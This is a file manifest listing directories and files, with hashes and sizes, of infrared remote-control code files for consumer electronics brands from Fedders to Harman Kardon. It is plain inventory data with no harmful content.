+F:77c75bc1b9347ac6da25ed78aa4454d7:607:infrared/_CSV-IRDB_/Fedders/Air Conditioner/32,-1.ir +D:infrared/_CSV-IRDB_/Fisher/Surround Processor +D:infrared/_CSV-IRDB_/Fisher/TV +D:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F +D:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060 +D:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500 +D:infrared/_CSV-IRDB_/Fisher/Unknown_ra +F:f5969391c3887e8435d6999ebe1f9bf4:126:infrared/_CSV-IRDB_/Fisher/Surround Processor/48,48.ir +F:352dcd3f3ffeafeac8c94e419ef9a94f:2197:infrared/_CSV-IRDB_/Fisher/Surround Processor/54,200.ir +F:023042897bc6bf526f985a8c934eb7ea:213:infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir +F:97664fa8dd66163b8715969fee0f0654:2279:infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir +F:ea12b2434cd096162ef3d3a6138a696f:810:infrared/_CSV-IRDB_/Fisher/Unknown_RC720F/104,-1.ir +F:cc666728f01de9c4033c03af12281123:4526:infrared/_CSV-IRDB_/Fisher/Unknown_RCA-9060/54,-1.ir +F:004e6f7b74d7134fa7d7b345c7935608:2944:infrared/_CSV-IRDB_/Fisher/Unknown_REM-1500/162,162.ir +F:e8e5822c08a07335e6b0ce98576b8d11:4310:infrared/_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir +D:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime +D:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2 +F:c36f7a9fa74c2ba09c3bf34a325e8168:2969:infrared/_CSV-IRDB_/Fortec/Unknown_Lifetime/32,-1.ir +F:bc24ba4007510c49c41e9d50a1dd7384:4499:infrared/_CSV-IRDB_/Fortec/Unknown_Mercury2/1,253.ir +D:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier +D:infrared/_CSV-IRDB_/Fosgate/Surround Processor +F:cf2e8b8fb2940dda0cc9a421e4367525:233:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,69.ir +F:d6f4d2f79ac45af06dce6696f9168624:223:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/131,95.ir +F:c2aa84c4318c697e1c80a331af98ecf5:3356:infrared/_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir +F:c942ec1ca3cd6dc40c0af5c45917f3a4:7255:infrared/_CSV-IRDB_/Fosgate/Surround Processor/132,66.ir +D:infrared/_CSV-IRDB_/Foxtel/Set Top Box +D:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital +D:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel +F:9be7a3d1919274a67716b63b9532cf90:3257:infrared/_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir +F:502087b6fea44d15a526dcf9659e2e49:2940:infrared/_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir +F:189caa686029d34683f31f69e36bf488:3207:infrared/_CSV-IRDB_/Foxtel/Unknown_foxtel/33,160.ir +D:infrared/_CSV-IRDB_/Free/Unknown_REMOTE +D:infrared/_CSV-IRDB_/Free/Unknown_V5 +F:3918e18d111237bb0525ee6be7526314:3363:infrared/_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir +F:53425869477bac4f181974ad5a8f688f:4664:infrared/_CSV-IRDB_/Free/Unknown_V5/36,12.ir +D:infrared/_CSV-IRDB_/Freecom/Unknown_MP35 +D:infrared/_CSV-IRDB_/Freecom/Unknown_usb +F:3d913ac08a98b8b6dc4f7e2203db82cc:4057:infrared/_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir +F:d13617eacfedf650adfa696a96f8faf5:1745:infrared/_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir +D:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL +F:a0141789d3eba3105b399cf51f3409b8:2544:infrared/_CSV-IRDB_/Fresat/Unknown_SER-3000PL/8,64.ir +D:infrared/_CSV-IRDB_/Friedrich/Air Conditioner +F:f23b6914f558b308e8ddc318821128d5:1092:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/1,-1.ir +F:57ee46030c26f3d2918158fb7f37b9f1:131:infrared/_CSV-IRDB_/Friedrich/Air Conditioner/16,-1.ir +D:infrared/_CSV-IRDB_/Fujitsu/Monitor +D:infrared/_CSV-IRDB_/Fujitsu/Plasma +D:infrared/_CSV-IRDB_/Fujitsu/TV +D:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01 +F:6e5cfdf98241dd313981337ac28ba299:3860:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir +F:1a2811d32c04fc85935d5ac79ad11c56:1784:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,138.ir +F:59d094b8af891cfedac50df609e1cf25:712:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,139.ir +F:893a64a171ab7310e1647c18503e007c:314:infrared/_CSV-IRDB_/Fujitsu/Monitor/132,140.ir +F:8a52560c819ed7602dc6f0ba5b648f2f:10129:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir +F:dffdca70346480c38b01a2380eaa0a0a:709:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,129.ir +F:d14a111d76a49ed0d49e9c6f7ebb4d34:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,130.ir +F:1c4306a4b26d81578f5c5aaed54ab804:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,134.ir +F:3548ccc649da85948905e49c267c3ca1:130:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,136.ir +F:4ecad8fed24a1195ddaf6873be8b1d1f:6543:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,138.ir +F:bd5cceb91b5685f704ff6f33121fa36c:5539:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,139.ir +F:de2f6e36816bd6615d8d2b210bb92065:789:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,140.ir +F:a759f6697f4a6d0c0e440e32dd6239f1:2134:infrared/_CSV-IRDB_/Fujitsu/Plasma/132,141.ir +F:4c3d66e34fe7a3b47cc722930b6b1ca5:132:infrared/_CSV-IRDB_/Fujitsu/Plasma/140,132.ir +F:5194ddddbe079387ae5edf699a3395fa:1312:infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir +F:ef80c1539e26f02000776e824fc6dae8:3851:infrared/_CSV-IRDB_/Fujitsu/Unknown_CP300375-01/4,15.ir +D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21 +D:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811 +F:c7c7eb806d4df28ecf5bd69ac4a6c0c0:4025:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC1-1241-21/32,176.ir +F:df93188226c5efc96e0eb0785ebed024:2631:infrared/_CSV-IRDB_/Fujitsu Siemens/Unknown_RC811/4,15.ir +D:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T +F:0fafce84cfad7a952f7f00100a187a06:1741:infrared/_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir +D:infrared/_CSV-IRDB_/Fusion Research/DVD Server +F:e08cdcf8d010202c1806b5b84e8298b1:3304:infrared/_CSV-IRDB_/Fusion Research/DVD Server/17,-1.ir +D:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD +F:5473850ccf41bc02f9010cf6d392df9d:1792:infrared/_CSV-IRDB_/GAMEFACTORY/Unknown_PS2DVD/0,246.ir +D:infrared/_CSV-IRDB_/GE/TV +D:infrared/_CSV-IRDB_/GE/VCR +D:infrared/_CSV-IRDB_/GE/VCR_VKFS0938 +F:5019673ab129419fb047f6bb79463f51:4619:infrared/_CSV-IRDB_/GE/TV/15,-1.ir +F:4e1b5a7b7f26f22a582861d2076c535f:231:infrared/_CSV-IRDB_/GE/VCR/11,-1.ir +F:37c6eedd1eb0235e042deacd86202588:3665:infrared/_CSV-IRDB_/GE/VCR/14,-1.ir +F:797c58ed30cdb6f654ec23893a358919:132:infrared/_CSV-IRDB_/GE/VCR/26,73.ir +F:cd916bcc44e9a6f26d8f0f3debc99d4e:3570:infrared/_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir +D:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50 +F:79d89f5894fde27314ab0bc6fdf5aa74:909:infrared/_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir +D:infrared/_CSV-IRDB_/Galaxis/Satellite +D:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5 +D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM +D:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat +D:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1 +F:09758927fcbcf37d6400e0071483a6f8:2868:infrared/_CSV-IRDB_/Galaxis/Satellite/13,80.ir +F:91c7c799ebd09215bc41983bc3e6ae6e:2938:infrared/_CSV-IRDB_/Galaxis/Unknown_GALAXIS-RC5/0,-1.ir +F:c9bde47dabede5b803362abe94d4bce9:4119:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis-RCMM/13,80.ir +F:e385e037c26c0ac1eef874b6a61b5bf3:1645:infrared/_CSV-IRDB_/Galaxis/Unknown_Galaxis.sat/81,175.ir +F:e194ebe5d1cf7fb7c4bc6bfc97aa0974:4576:infrared/_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir +D:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher +D:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher +D:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher +D:infrared/_CSV-IRDB_/Gefen Systems/Unknown +F:85245b3408ec40338378e1702855306e:391:infrared/_CSV-IRDB_/Gefen Systems/DVI Switcher/11,-1.ir +F:4d133debeefb7b392509e9e8302bd634:1173:infrared/_CSV-IRDB_/Gefen Systems/HDMI Switcher/11,-1.ir +F:3a459172e34eebeb8bf7f1e9ad15cb20:3175:infrared/_CSV-IRDB_/Gefen Systems/Matrix Switcher/11,-1.ir +F:2a55d1d662640545c78381e50ff1c30f:5555:infrared/_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir +D:infrared/_CSV-IRDB_/General/Unknown_VCR +F:bebdf8e2aefacdd1b3324d19f2959029:908:infrared/_CSV-IRDB_/General/Unknown_VCR/22,-1.ir +D:infrared/_CSV-IRDB_/General Electric/TV +D:infrared/_CSV-IRDB_/General Electric/VCR +F:00009c475b0c7487966cdd2e594f54cd:2603:infrared/_CSV-IRDB_/General Electric/TV/15,-1.ir +F:4e1b5a7b7f26f22a582861d2076c535f:231:infrared/_CSV-IRDB_/General Electric/VCR/11,-1.ir +F:e193205df420c046e89e25473a299c91:2384:infrared/_CSV-IRDB_/General Electric/VCR/14,-1.ir +F:797c58ed30cdb6f654ec23893a358919:132:infrared/_CSV-IRDB_/General Electric/VCR/26,73.ir +D:infrared/_CSV-IRDB_/General Instrument/Cable Box +D:infrared/_CSV-IRDB_/General Instrument/Satellite +F:9d22ef0999b04cbdc0f6a93268bf6bdb:6008:infrared/_CSV-IRDB_/General Instrument/Cable Box/0,-1.ir +F:6cabc6f7d70850eb36dcd6dec89bdd33:320:infrared/_CSV-IRDB_/General Instrument/Cable Box/1,-1.ir +F:43e4d99efa8f84d62348d8979173fa8f:320:infrared/_CSV-IRDB_/General Instrument/Cable Box/122,-1.ir +F:3b2f6f8fba33422b3888192855f697c4:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/144,0.ir +F:71c705c544748a16a34b2c332ccc37f3:130:infrared/_CSV-IRDB_/General Instrument/Cable Box/15,-1.ir +F:1ffccca2fbdc86c02204ea9e87b4ce16:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/64,-1.ir +F:263144a09352fee6670f4bafced17573:126:infrared/_CSV-IRDB_/General Instrument/Cable Box/87,-1.ir +F:1503cb049c2792ae050f638b14bca483:326:infrared/_CSV-IRDB_/General Instrument/Satellite/1,-1.ir +F:baa7f010ceebce50d6c6184fe86373bb:4993:infrared/_CSV-IRDB_/General Instrument/Satellite/130,110.ir +D:infrared/_CSV-IRDB_/General Instruments/Unknown_550 +D:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200 +F:adedf03a111eadd09bc4d095c2bbf740:2607:infrared/_CSV-IRDB_/General Instruments/Unknown_550/-1,-1.ir +F:1e4a53e4b41f6f8faf52343a789dab77:7945:infrared/_CSV-IRDB_/General Instruments/Unknown_XRC-200/0,-1.ir +D:infrared/_CSV-IRDB_/Genesis/Theater in Box +F:c488f4c83a68d716f413ece1cb617e84:4195:infrared/_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir +D:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera +F:f21298ce5311679ba8b3320c81f77406:3205:infrared/_CSV-IRDB_/Geniatech/Unknown_Supera/0,-1.ir +D:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32 +F:5f96367d7c648658af4981a0ca8977dd:3162:infrared/_CSV-IRDB_/Genius/Unknown_Genius-DVB-T32/5,-1.ir +D:infrared/_CSV-IRDB_/Genus/Unknown_DU1 +F:ea93e89fee3e03826dfd9eafab665e07:2388:infrared/_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir +D:infrared/_CSV-IRDB_/Gericom/Plasma +F:33fc5c70fefd26704de326c97b5b5821:5440:infrared/_CSV-IRDB_/Gericom/Plasma/3,-1.ir +D:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr +F:62ed5b5f9ef974070ce96950fb134310:4309:infrared/_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir +D:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV +F:4e2dde7bbb44a48fb950be25a33d6554:2686:infrared/_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir +D:infrared/_CSV-IRDB_/Go Video/DVD Recorder +D:infrared/_CSV-IRDB_/Go Video/VCR +F:72c6659552ca87132c4b7d4de666908e:3364:infrared/_CSV-IRDB_/Go Video/DVD Recorder/10,247.ir +F:fbacbcb88143d261eabd25a9f9fc64b0:3041:infrared/_CSV-IRDB_/Go Video/VCR/132,98.ir +F:6f00dae4d12e53ee3a183a8f170449a5:5902:infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir +F:39ed48466f3698659b0edac259d22a7c:229:infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir +D:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR +D:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR +D:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW +D:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR +D:infrared/_CSV-IRDB_/GoldStar/Unknown_cd +D:infrared/_CSV-IRDB_/GoldStar/VCR +F:5eccb18b37628fb00b24aa87a6ef4531:2375:infrared/_CSV-IRDB_/GoldStar/Unknown_GOLDSTAR/4,-1.ir +F:28dd3d9153f28c1781140b3658ddfd21:2378:infrared/_CSV-IRDB_/GoldStar/Unknown_Goldstar-VCR/110,-1.ir +F:c58577ee8ee904d17f1a80e263cee745:1180:infrared/_CSV-IRDB_/GoldStar/Unknown_RN800AW/110,-1.ir +F:f37462d2387a1d2cbf305633e5e0e4d9:2293:infrared/_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir +F:678cb54941a2a45a1ffc62a98626c8d9:2109:infrared/_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir +F:bcd7e51c56884c8edd4a634fe901867e:1857:infrared/_CSV-IRDB_/GoldStar/VCR/110,-1.ir +D:infrared/_CSV-IRDB_/Golden Interstar/Sat +D:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar +F:f0e4fb17087e4a86cd4cfdf84dd6c698:3784:infrared/_CSV-IRDB_/Golden Interstar/Sat/128,255.ir +F:76f9b51e9da4c2066354265546356294:3894:infrared/_CSV-IRDB_/Golden Interstar/Unknown_Interstar/4,16.ir +D:infrared/_CSV-IRDB_/Goldmund/CD Player +F:0cd545c0884160686bb49fb2407116a4:694:infrared/_CSV-IRDB_/Goldmund/CD Player/20,-1.ir +D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB +D:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124 +D:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM +D:infrared/_CSV-IRDB_/Goodmans/Unknown_md305 +F:bc951c3d9b25422d0d3f45b7397dbfed:3165:infrared/_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir +F:41f174c34ca5268ace96699fd4d7b306:4093:infrared/_CSV-IRDB_/Goodmans/Unknown_GDVD124/0,-1.ir +F:98e61ef1432d2fe8c81339af4325e923:3368:infrared/_CSV-IRDB_/Goodmans/Unknown_RC-BM/128,123.ir +F:21346722b59191d2c6ec6d7c3427589b:3050:infrared/_CSV-IRDB_/Goodmans/Unknown_md305/135,108.ir +D:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730 +F:ad07987ffc79e74c71fe16280472c0fb:4216:infrared/_CSV-IRDB_/Govideo/Unknown_GoVideoD2730/8,230.ir +D:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10 +D:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100 +F:5c957a428bbceef6bab0db267dde0223:2960:infrared/_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir +F:5a96390edddfe296699723a00c7d1e79:2499:infrared/_CSV-IRDB_/Gradiente/Unknown_GSD-100/132,60.ir +D:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix +F:75a87b24d1cb12d284310c4a7cd3e8ee:3525:infrared/_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir +D:infrared/_CSV-IRDB_/Grand Tech/Cable Box +F:c9cd3490bc6e79f548307bca1ede0751:1938:infrared/_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir +D:infrared/_CSV-IRDB_/Griffin/iPod +F:dc0abdf6808774d05c02c9fbe21455de:1571:infrared/_CSV-IRDB_/Griffin/iPod/212,190.ir +D:infrared/_CSV-IRDB_/Grundig/Satellite +D:infrared/_CSV-IRDB_/Grundig/TV +D:infrared/_CSV-IRDB_/Grundig/Unknown_2500S +D:infrared/_CSV-IRDB_/Grundig/Unknown_84D +D:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg +D:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660 +D:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3 +D:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD +D:infrared/_CSV-IRDB_/Grundig/Unknown_RP +D:infrared/_CSV-IRDB_/Grundig/Unknown_TP +D:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C +D:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V +D:infrared/_CSV-IRDB_/Grundig/Unknown_rp700 +D:infrared/_CSV-IRDB_/Grundig/Unknown_tp621 +D:infrared/_CSV-IRDB_/Grundig/Video Recorder +F:05d9c1913bb74d26996bac7f5578d06f:126:infrared/_CSV-IRDB_/Grundig/Satellite/1,-1.ir +F:3193a3f29696e8584a8412b89c67d9ae:1033:infrared/_CSV-IRDB_/Grundig/Satellite/2,-1.ir +F:e9fb6bf9480ed5faae0e653e904d8060:127:infrared/_CSV-IRDB_/Grundig/Satellite/8,-1.ir +F:343949ed0113c38d4bec199b5ebcd002:3216:infrared/_CSV-IRDB_/Grundig/TV/0,-1.ir +F:8d2a50fa9a7fab2a040fc8f0f3113b33:2833:infrared/_CSV-IRDB_/Grundig/Unknown_2500S/10,-1.ir +F:3e74ccae6db84ecee13dd5bf7e94e7ba:4113:infrared/_CSV-IRDB_/Grundig/Unknown_84D/128,-1.ir +F:488896c326eeaa32ad1d5ad53c21d3f3:2693:infrared/_CSV-IRDB_/Grundig/Unknown_CDM700.cfg/162,162.ir +F:9357b7df55b90a71d227b864623a12ca:3679:infrared/_CSV-IRDB_/Grundig/Unknown_Grundig-TP660/0,-1.ir +F:0f28923438924dfbe72780433812259b:3813:infrared/_CSV-IRDB_/Grundig/Unknown_RC-TP3/8,-1.ir +F:62d37381fe4c49e6233f1271efc5be28:2276:infrared/_CSV-IRDB_/Grundig/Unknown_RC8400CD/20,-1.ir +F:1c31d1931b6bc8ba09be0b4cb13ada19:2730:infrared/_CSV-IRDB_/Grundig/Unknown_RP/5,-1.ir +F:579c963fb49cb925abf2574a5f48cd14:2954:infrared/_CSV-IRDB_/Grundig/Unknown_TP/0,-1.ir +F:5a22761b4ad0e7ef2cd9b25f7c470596:2682:infrared/_CSV-IRDB_/Grundig/Unknown_TP-750C/0,-1.ir +F:3411d5fa5cabc9a6e6539cace0261f82:1851:infrared/_CSV-IRDB_/Grundig/Unknown_UMS9V/162,162.ir +F:c23f7e93e2518e7d09fa9d0a7ca43e4f:2575:infrared/_CSV-IRDB_/Grundig/Unknown_rp700/5,-1.ir +F:e2bd3ad99531d4d2d9a5fd1b583ac5a7:4485:infrared/_CSV-IRDB_/Grundig/Unknown_tp621/1,-1.ir +F:ee6cc67986d100b09fd8fad2c33b565f:2116:infrared/_CSV-IRDB_/Grundig/Video Recorder/127,-1.ir +D:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier +F:d07c557e1bbef78a3ebf49b2ce38131e:606:infrared/_CSV-IRDB_/Gryphon/Integrated Amplifier/16,-1.ir +D:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263 +F:13c227598c953ed0d2800c2d6a1fcfe3:2820:infrared/_CSV-IRDB_/Guillemot/Unknown_RemoteWizard-GN-263/134,107.ir +D:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL +F:5801d757cdfb9e6989b018bb79c5a4c7:2752:infrared/_CSV-IRDB_/HB/Unknown_DIGITAL/0,-1.ir +D:infrared/_CSV-IRDB_/HP/Unknown_465539-002 +D:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR +D:infrared/_CSV-IRDB_/HP/Unknown_DV6331 +D:infrared/_CSV-IRDB_/HP/Unknown_Pavilion +D:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B +D:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00 +D:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01 +D:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B +F:a2e3a5729243b7994fb65add6b75b16b:1976:infrared/_CSV-IRDB_/HP/Unknown_465539-002/4,15.ir +F:b9625a1d4cebacadced3297bd46ec06d:2260:infrared/_CSV-IRDB_/HP/Unknown_DV4-1125NR/4,15.ir +F:86e8b805c9f1fd5b61b29ff50679bf56:2284:infrared/_CSV-IRDB_/HP/Unknown_DV6331/4,17.ir +F:1eff13572fd19447d597ba3fd139f5c8:4319:infrared/_CSV-IRDB_/HP/Unknown_Pavilion/4,15.ir +F:c75bd47afb027d3a07c319b51eef7634:2261:infrared/_CSV-IRDB_/HP/Unknown_RC172308-01B/4,15.ir +F:3257306d21a9a14c05403ccc7a62cf96:2177:infrared/_CSV-IRDB_/HP/Unknown_RC1762302-00/4,17.ir +F:cfdda527d8e8869782e8cde68cac7a7c:2276:infrared/_CSV-IRDB_/HP/Unknown_RC1762307-01/4,15.ir +F:922bcb9daf166ecb17a5cd636a4c4efb:4150:infrared/_CSV-IRDB_/HP/Unknown_RC2234302-01B/4,15.ir +D:infrared/_CSV-IRDB_/HQ/Unknown_RC +F:98410cce2913e6ddb01ea50bdb64fd14:2777:infrared/_CSV-IRDB_/HQ/Unknown_RC/0,-1.ir +D:infrared/_CSV-IRDB_/HQV/Video Processor +F:bf4f9c705c80255bb7eb62d73da4a13d:1869:infrared/_CSV-IRDB_/HQV/Video Processor/128,-1.ir +D:infrared/_CSV-IRDB_/Hama/Unknown_Internet +D:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer +F:d7564996181fc536b6ea4b60badf43e0:2587:infrared/_CSV-IRDB_/Hama/Unknown_Internet/0,-1.ir +F:d860309c4e5eb58cbe90fdcce40983e7:2331:infrared/_CSV-IRDB_/Hama/Unknown_PhotoPlayer/134,107.ir +D:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay +F:9a048ac92dd493a127d2d1c775c294d4:707:infrared/_CSV-IRDB_/Hampton Bay/Unknown_Bay/129,102.ir +D:infrared/_CSV-IRDB_/Harman Kardon/Amplifier +D:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray +D:infrared/_CSV-IRDB_/Harman Kardon/CD Changer +D:infrared/_CSV-IRDB_/Harman Kardon/CD Player +D:infrared/_CSV-IRDB_/Harman Kardon/CD-R +D:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape +D:infrared/_CSV-IRDB_/Harman Kardon/DVD Player +D:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier +D:infrared/_CSV-IRDB_/Harman Kardon/Receiver +D:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor +D:infrared/_CSV-IRDB_/Harman Kardon/Surround Receiver +D:infrared/_CSV-IRDB_/Harman Kardon/Tuner +D:infrared/_CSV-IRDB_/Harman Kardon/Unknown +D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_DVD +D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_HD730 +D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_Kardon-DVD +D:infrared/_CSV-IRDB_/Harman Kardon/Unknown_harmankardon +D:infrared/_CSV-IRDB_/Harman Kardon/Video Projector +D:infrared/_CSV-IRDB_/Harman Kardon/iPod +F:ed93a0725ce8effa6d2a708b940332d9:953:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/128,112.ir +F:58b331b04ced5538eb8ff4f65c03a93a:322:infrared/_CSV-IRDB_/Harman Kardon/Amplifier/130,114.ir +F:530974757adb3225f56651301004d0b2:4183:infrared/_CSV-IRDB_/Harman Kardon/Blu-Ray/132,116.ir +F:269f5e4083dfe36e4007bdfd92a0f4b9:2775:infrared/_CSV-IRDB_/Harman Kardon/CD Changer/128,112.ir +F:82e0f95ab17b71abbb8dc172bdd344e3:1776:infrared/_CSV-IRDB_/Harman Kardon/CD Player/0,-1.ir +F:a6f48641e88e49eda921cd45f150c529:9043:infrared/_CSV-IRDB_/Harman Kardon/CD Player/128,112.ir +F:b70d0dbeeab26ae211d9aa41123b03ce:5165:infrared/_CSV-IRDB_/Harman Kardon/CD Player/131,74.ir +F:eebc5ef281aa435160d68b12ed28ac6c:507:infrared/_CSV-IRDB_/Harman Kardon/CD-R/128,112.ir +F:8eae536dc2087ed80cbf975d1420e82a:1359:infrared/_CSV-IRDB_/Harman Kardon/Cassette Tape/130,114.ir +F:1a604c23bd36d8373551da5e2229b64e:11259:infrared/_CSV-IRDB_/Harman Kardon/DVD Player/130,114.ir +F:9d05fe1118a22faff3d27963b365da1e:3013:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/128,112.ir +F:13fe304ee196e9d233d61b0a4711686c:834:infrared/_CSV-IRDB_/Harman Kardon/Pre-Amplifier/130,114.ir +F:9bc30f1310bed2d2e2adaabbdfd73224:31172:infrared/_CSV-IRDB_/Harman Kardon/Receiver/128,112.ir +F:71ecfe2952a1d692f64b8c347287ea41:27257:infrared/_CSV-IRDB_/Harman Kardon/Receiver/130,114.ir +F:e129cbf52e24d4721cc9f59d4f4c0d3b:710:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,116.ir +F:9339993999745c91fd6d1374dd067bdc:4313:infrared/_CSV-IRDB_/Harman Kardon/Receiver/132,66.ir +F:28f9aed841d7b3edd3a3a86a18cb7b0e:3221:infrared/_CSV-IRDB_/Harman Kardon/Receiver/134,118.ir +F:b4a8d791b5652e50fa0dfc55a71d8986:650:infrared/_CSV-IRDB_/Harman Kardon/Receiver/161,-1.ir +F:a2f1b90f4f082f8dcc2765381d67dc92:215:infrared/_CSV-IRDB_/Harman Kardon/Receiver/164,-1.ir +F:b18ff57298e32799340eb21391f8fbe5:615:infrared/_CSV-IRDB_/Harman Kardon/Receiver/4,-1.ir +F:0a9ece1d1fe70f03cab31d409b9dc97d:619:infrared/_CSV-IRDB_/Harman Kardon/Receiver/40,-1.ir +F:362984148d299a54f28edb0e882cab90:129:infrared/_CSV-IRDB_/Harman Kardon/Receiver/7,-1.ir +F:244f730a5e902fa2f5aacd91fe0ccb9e:128:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/0,-1.ir +F:1e4c37e563050b082764da8d6317e81f:131:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/12,-1.ir +F:923f10f6a8732ca68c9e8f103ca37700:6064:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/128,112.ir +F:05c6ad711e93aca40775fe994b07557c:4478:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/130,114.ir +F:bb01ac3bc0f70d027a75d82254cbb19c:774:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/16,-1.ir +F:13fbdfa07be4abb81363c5f0585bd330:403:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/17,-1.ir +F:15bf48eb8063bad67417ee06ae375ecf:130:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/18,-1.ir +F:1e9cfb2c46dfe6d70ad1b26fb5ce464b:128:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/20,-1.ir +F:ac1f7cb7b5f35f5c9537f019421284d7:129:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/23,-1.ir +F:c40e030f3d9b1e461491e03c3dee0056:1011:infrared/_CSV-IRDB_/Harman Kardon/Surround Processor/5,-1.ir 